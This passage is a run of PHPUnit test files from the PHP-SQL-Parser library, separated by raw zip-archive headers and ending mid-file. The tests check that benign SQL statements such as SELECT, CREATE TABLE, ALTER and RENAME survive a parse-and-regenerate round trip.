 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue87Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue87() {
        $sql = "RENAME TABLE a TO b, `c` to `a`, foo.bar to hello.world";
        $parser = new PHPSQLParser($sql);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'issue87.sql', false);
        $this->assertSame($expected, $created, 'RENAME multiple tables');

    }
}

PK     \Bp2	  2	  D  vendor/greenlion/php-sql-parser/tests/cases/creator/issue147Test.phpnu [        <?php
/**
 * issue147Test.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;

use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class Issue147Test extends \PHPUnit\Framework\TestCase {
	
	public function testIssue147() {
		$query = "SELECT f FROM t WHERE x in (Select x from y)";
		$parser = new PHPSQLParser();
		$p = $parser->parse($query);
		$creator = new PHPSQLCreator();
		$created = $creator->create($p);
		$expected = getExpectedValue(dirname(__FILE__), 'issue147.sql', false);
		$this->assertSame($expected, $created, 'subqueries within WHERE clause');
	}
}

?>
PK     \!4    C  vendor/greenlion/php-sql-parser/tests/cases/creator/issue22Test.phpnu [        <?php
/**
 * issue22Test.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 *
 */
namespace PHPSQLParser\Test\Creator;

use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

/**
 * https://github.com/greenlion/PHP-SQL-Parser/issues/22
 */
class Issue22Test extends \PHPUnit\Framework\TestCase {

	protected function _test( $sql, $message ) {
		$parser = new PHPSQLParser();
		$parser->parse( $sql );
		$creator = new PHPSQLCreator();
		$created = $creator->create( $parser->parsed );
		$this->assertSame( $sql, $created, $message );
	}

	public function testIssue22_key() {
		$sql    = "CREATE TABLE wp_md_3_term_taxonomy (term_taxonomy_id bigint (20) NOT NULL auto_increment, term_id bigint (20) NOT NULL default 0, taxonomy varchar (32) NOT NULL default '', description longtext NOT NULL, parent bigint (20) NOT NULL default 0, count bigint (20) NOT NULL default 0, PRIMARY KEY (term_taxonomy_id), KEY term_id_taxonomy (term_id, taxonomy), KEY taxonomy (taxonomy)) DEFAULT CHARACTER SET utf8mb4";
		$this->_test( $sql, 'Creating a CREATE statement with multi column KEY index' );
	}

	public function testIssue22_primaryKey() {
		$sql    = "CREATE TABLE wp_md_3_term_relationships (object_id bigint (20) NOT NULL default 0, term_taxonomy_id bigint (20) NOT NULL default 0, term_order int (11) NOT NULL default 0, PRIMARY KEY (object_id, term_taxonomy_id), KEY term_taxonomy_id (term_taxonomy_id)) DEFAULT CHARACTER SET utf8mb4";
		$this->_test( $sql, 'Creating a CREATE statement with multi column PRIMARY KEY index' );
	}

	public function testIssue22_index() {
		$sql    = "CREATE TABLE wp_md_3_term_relationships (object_id bigint (20) NOT NULL default 0, term_taxonomy_id bigint (20) NOT NULL default 0, term_order int (11) NOT NULL default 0, PRIMARY KEY (term_taxonomy_id), INDEX term_id_taxonomy (term_id, taxonomy)) DEFAULT CHARACTER SET utf8mb4";
		$this->_test( $sql, 'Creating a CREATE statement with multi column INDEX' );
	}

	public function testIssue22_foreignKey() {
		$sql = "CREATE TABLE child (col_a INT NOT NULL, col_b INT NOT NULL, FOREIGN KEY 'a_b' (col_a, col_b)) DEFAULT CHARACTER SET utf8mb4";
		$this->_test( $sql, 'Creating a CREATE statement with multi column FOREIGN KEY' );
	}

	public function testIssue22_foreignKeyReferences() {
		$sql = "CREATE TABLE child (col_a INT NOT NULL, col_b INT NOT NULL, FOREIGN KEY 'a_b' (col_a, col_b) REFERENCES parent (parent_a, parent_b)) DEFAULT CHARACTER SET utf8mb4";
		$this->_test( $sql, 'Creating a CREATE statement with multi column FOREIGN KEY with multi column REFERENCES' );
	}
}

PK     \M[DaE  E  A  vendor/greenlion/php-sql-parser/tests/cases/creator/AlterTest.phpnu [        <?php
namespace PHPSQLParser\Test\Creator;

use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class AlterTest extends \PHPUnit\Framework\TestCase
{
    public function testAlterChangeColumn()
    {
        $sql = "ALTER TABLE `user` CHANGE `id` `id` INT( 11 ) COMMENT 'id of user';";
        $parser = new PHPSQLParser($sql);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'alter.sql', false);
        $this->assertSame($expected, $created, 'an alter table statement to change a column');
    }

    public function testAlterAddColumn()
    {
        $sql = "ALTER TABLE `my_table`
                 ADD COLUMN `updated_by` SMALLINT unsigned AFTER `date_created`";
        $parser = new PHPSQLParser($sql);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'alter2.sql', false);
        $this->assertSame($expected, $created, 'an alter table statement to add a column');
    }
}
PK     \Rq_	  _	  D  vendor/greenlion/php-sql-parser/tests/cases/creator/issue101Test.phpnu [        <?php
/**
 * issue101.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue101Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue101() {
        $sql = "SELECT tab.col AS `tab.col`, tab2.col AS `tab2.col` FROM tab, tab2";
        $parser = new PHPSQLParser($sql);
        $p = $parser->parsed;
        $creator = new PHPSQLCreator();
        $created = $creator->create($p);
        $expected = getExpectedValue(dirname(__FILE__), 'issue101.sql', false);
        $this->assertSame($expected, $created, 'alias with quotes');

    }
}

PK     \&%95	  5	  D  vendor/greenlion/php-sql-parser/tests/cases/creator/issue127Test.phpnu [        <?php
/**
 * issue127.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue127Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue127() {
        $query = "UPDATE t1 SET c1 = -c2";
        $parser = new PHPSQLParser();
        $p = $parser->parse($query);
        $creator = new PHPSQLCreator();
        $created = $creator->create($p);
        $expected = getExpectedValue(dirname(__FILE__), 'issue127.sql', false);
        $this->assertSame($expected, $created, 'unary operator');

    }
}

PK     \-;C	  C	  C  vendor/greenlion/php-sql-parser/tests/cases/creator/issue66Test.phpnu [        <?php
/**
 * issue66.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue66Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue66() {
        $sql = "SELECT SUM(value)/(ABS(2)) as x FROM table";
        $parser = new PHPSQLParser($sql);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'issue66.sql', false);
        $this->assertSame($expected, $created, 'Expression subtree should not fail.');

    }
}

PK     \WO  O  D  vendor/greenlion/php-sql-parser/tests/cases/creator/issue106Test.phpnu [        <?php
/**
 * issue106.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue106Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue106() {
        $sql = "SELECT dbo.fn_GetDayOfWeekMonIs0(DATEADD(SECOND, -21600, calls_cstm.date_logged_c)) AS 'Date'
        FROM calls
        LEFT JOIN calls_cstm ON calls.id = calls_cstm.id_c
        LEFT JOIN users users0 ON calls.assigned_user_id = users0.id
        LEFT JOIN contacts contacts2 ON calls.contact_id = contacts2.id
        WHERE calls.deleted = 0
        	AND (
        		(dbo.fn_GetDayOfWeekMonIs0(DATEADD(SECOND, 0, calls_cstm.date_logged_c)) IN ('4'))
        		AND DATENAME(YEAR, DATEADD(SECOND, 0, calls_cstm.date_logged_c)) = '2013'
        		AND (DATEPART(MONTH, DATEADD(SECOND, 0, calls_cstm.date_logged_c)) IN ('10'))
        		)
        GROUP BY dbo.fn_GetDayOfWeekMonIs0(DATEADD(SECOND, -21600, calls_cstm.date_logged_c))
        ORDER BY dbo.fn_GetDayOfWeekMonIs0(DATEADD(SECOND, -21600, calls_cstm.date_logged_c)) ASC";

        $parser = new PHPSQLParser($sql);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'issue106.sql', false);
        $this->assertSame($expected, $created, 'function within group-by');

    }
}

PK     \Be7    D  vendor/greenlion/php-sql-parser/tests/cases/creator/issue319Test.phpnu [        <?php

namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue319Test extends \PHPUnit\Framework\TestCase
{
    public function testIssue319()
    {
        $sql = 'SELECT start_date FROM users INNER JOIN vacation ON DATE(start_date) <= DATE(end_date)';

        $parser = new PHPSQLParser();
        $creator = new PHPSQLCreator();

        $parser->parse($sql, true);

        $this->assertEquals($sql, $creator->create($parser->parsed));
    }
}
PK     \,ɠM	  M	  C  vendor/greenlion/php-sql-parser/tests/cases/creator/issue58Test.phpnu [        <?php
/**
 * issue58.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue58Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue58() {
        $sql = "SELECT a.* FROM tabla_a a WHERE (a.client_id in (1,2,3))";
        $parser = new PHPSQLParser($sql);
        $creator = new PHPSQLCreator($parser->parsed);
        $created = $creator->created;
        $expected = getExpectedValue(dirname(__FILE__), 'issue58.sql', false);
        $this->assertSame($expected, $created, 'in-list within WHERE expression');

    }
}

PK     \ea<@	  @	  H  vendor/greenlion/php-sql-parser/tests/cases/creator/issue_git181Test.phpnu [        <?php

/**
 * issue_git181Test.php
 *
 * Test case for PHPSQLParser from issue #181 of GitHub.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2015 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2015 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;

use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class IssueGit181TestTest extends \PHPSQLParser\Test\AbstractTestCase {
	
	public function testIssueGit181() {
		$query = "
		SELECT NOW() AS today
		";

		$p = $this->parser->parse($query, true);
		$created = $this->creator->create($p);
		
		$expected = getExpectedValue ( dirname ( __FILE__ ), 'issue_git181.sql', false );
		$this->assertEquals ( $expected, $created, 'no alias after functions without parameters' );
	}
}
?>
PK     \i	l	  l	  D  vendor/greenlion/php-sql-parser/tests/cases/creator/issue124Test.phpnu [        <?php
/**
 * issue124.php
 *
 * Test case for PHPSQLCreator.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Creator;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue124Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue124() {
        $query = "SELECT t1.c1, t2.c2 FROM t1 LEFT JOIN t2 ON (LEFT(t1.c2,6) = t2.c1)";
        $parser = new PHPSQLParser();
        $p = $parser->parse($query);
        $creator = new PHPSQLCreator();
        $created = $creator->create($p);
        $expected = getExpectedValue(dirname(__FILE__), 'issue124.sql', false);
        $this->assertSame($expected, $created, 'ref clause with function');

    }
}

PK     \UM    D  vendor/greenlion/php-sql-parser/tests/cases/creator/issue312Test.phpnu [        <?php

namespace PHPSQLParser\Test\Creator;

use PHPSQLParser\exceptions\UnsupportedFeatureException;
use PHPSQLParser\PHPSQLCreator;
use PHPSQLParser\PHPSQLParser;
use PHPUnit\Framework\TestCase;

/**
 * @see https://github.com/greenlion/PHP-SQL-Parser/issues/312
 */
class issue312Test extends TestCase
{
    /** @var PHPSQLParser $parser */
    private $parser;
    /** @var PHPSQLCreator $creator */
    private $creator;

    public function setUp(): void
    {
        parent::setUp();

        $this->parser = new PHPSQLParser();
        $this->creator = new PHPSQLCreator();
    }

    /**
     * @dataProvider dataIssue312
     * @param string $sql
     * @throws UnsupportedFeatureException
     */
    public function testIssue312($sql)
    {
        $parsed = $this->parser->parse($sql);
        $created = $this->creator->create($parsed);
        $this->assertEquals($sql, $created);
    }

    public function dataIssue312()
    {
        // [string $sql]
        return array(
            array('SELECT @a := 20'),
            array('SELECT @a := 20, @a + 10 AS x'),
